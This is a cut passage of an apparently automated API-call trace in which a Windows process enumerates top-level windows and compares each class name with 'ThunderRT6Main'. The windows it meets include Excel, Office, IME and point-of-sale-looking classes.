(hWnd=0x10134, uCmd=0x2) returned 0x10076 [0241.538] GetClassNameA (in: hWnd=0x10076, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.538] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.538] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.538] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0241.538] GetClassNameA (in: hWnd=0x10074, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.538] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.538] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.538] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0241.538] GetClassNameA (in: hWnd=0x10060, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.538] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.538] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.538] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0241.538] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.538] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.538] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.538] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0241.538] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.538] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.538] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.539] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0241.539] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.539] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.539] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.539] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0241.539] GetClassNameA (in: hWnd=0x10078, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.539] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.539] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.539] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0241.539] GetClassNameA (in: hWnd=0x10056, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0241.539] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0241.539] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.539] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0241.539] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.539] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.539] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.539] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0241.539] GetClassNameA (in: hWnd=0x10058, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Button") returned 6 [0241.539] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0241.539] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.539] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0241.539] GetClassNameA (in: hWnd=0x10050, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0241.539] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0241.539] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.539] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0241.539] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.539] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.539] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0241.539] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0241.539] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.540] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.540] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.540] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0241.540] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0241.540] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0241.540] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.540] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0241.540] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0241.540] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0241.540] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.540] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0241.540] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0241.540] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0241.540] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0241.540] GetClassNameA (in: hWnd=0x30154, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.540] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.540] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.540] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0241.540] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0241.540] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0241.540] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0241.540] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0241.540] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0241.540] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.540] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 533659648 [0241.540] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0241.540] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0241.540] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0241.540] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0241.540] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0241.540] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.540] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 533659648 [0241.540] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0241.540] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0241.540] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x103e8 [0241.541] GetClassNameA (in: hWnd=0x103e8, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0241.541] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0241.541] GetWindowThreadProcessId (in: hWnd=0x103e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf20 [0241.541] GetWindow (hWnd=0x103e8, uCmd=0x2) returned 0x103ea [0241.541] GetClassNameA (in: hWnd=0x103ea, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.541] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.541] GetWindowThreadProcessId (in: hWnd=0x103ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf20 [0241.541] GetWindow (hWnd=0x103ea, uCmd=0x2) returned 0x140264 [0241.541] GetClassNameA (in: hWnd=0x140264, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0241.541] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0241.541] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0241.541] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0241.541] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.541] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.541] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0241.541] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0241.541] GetClassNameA (in: hWnd=0x20360, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0241.541] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0241.541] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.541] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0241.541] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0241.541] IsWindowEnabled (hWnd=0x20360) returned 0 [0241.541] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0241.541] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0241.541] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0241.541] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0241.541] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0241.541] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0241.541] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.541] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0241.541] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0241.542] GetClassNameA (in: hWnd=0x10350, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0241.542] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0241.542] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0241.542] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0241.542] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0241.542] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0241.542] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.542] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0241.542] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0241.542] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0241.542] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0241.542] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0241.542] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0241.542] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.542] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0241.542] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0241.542] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0241.542] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0241.542] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0241.542] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0241.542] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.542] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0241.542] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0241.542] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0241.542] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0241.542] GetClassNameA (in: hWnd=0x10270, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0241.542] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0241.542] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.542] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0241.542] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0241.542] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0241.542] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0241.542] GetClassNameA (in: hWnd=0x30152, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0241.542] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0241.542] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0241.542] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0241.542] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0241.543] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0241.543] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.543] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0241.543] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0241.543] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0241.543] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0241.543] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0241.543] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0241.543] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.543] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0241.543] GetClassNameA (in: hWnd=0x10262, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.543] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.543] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0241.543] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0241.543] GetClassNameA (in: hWnd=0x10260, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0241.543] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0241.543] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0241.543] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0241.543] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0241.543] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0241.543] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.543] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0241.543] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0241.543] GetClassNameA (in: hWnd=0x10292, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0241.543] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0241.543] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0241.543] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0241.543] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0241.543] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.543] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.543] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.543] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0241.543] GetClassNameA (in: hWnd=0x300be, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0241.543] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0241.543] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.544] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0241.544] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0241.544] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0241.544] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.544] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0241.544] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.544] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.544] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.544] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0241.544] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.544] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.544] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.544] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0241.544] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0241.544] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0241.544] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.544] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0241.544] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0241.544] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0241.544] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0241.544] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0241.544] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.544] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.544] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0241.544] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0241.544] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0241.544] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0241.544] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0241.544] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0241.544] GetClassNameA (in: hWnd=0x10258, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0241.544] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0241.544] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0241.545] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0241.545] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.545] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.545] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0241.545] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0241.545] GetClassNameA (in: hWnd=0x10254, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0241.545] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0241.545] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0241.545] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0241.545] GetClassNameA (in: hWnd=0x10256, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.545] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.545] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0241.545] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0241.545] GetClassNameA (in: hWnd=0x20250, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0241.545] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0241.545] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0241.545] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0241.545] GetClassNameA (in: hWnd=0x10252, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.545] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.545] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0241.545] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0241.545] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0241.545] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0241.545] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0241.545] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0241.545] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.545] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.545] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0241.545] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0241.545] GetClassNameA (in: hWnd=0x10248, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0241.545] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0241.545] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0241.545] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0241.546] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.546] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.546] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0241.546] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0241.546] GetClassNameA (in: hWnd=0x10244, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0241.546] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0241.546] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0241.546] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0241.546] GetClassNameA (in: hWnd=0x10246, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.546] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.546] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0241.546] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0241.546] GetClassNameA (in: hWnd=0x10240, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0241.546] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0241.546] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0241.546] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0241.546] GetClassNameA (in: hWnd=0x10242, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.546] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.546] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0241.546] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0241.546] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0241.546] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0241.546] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) 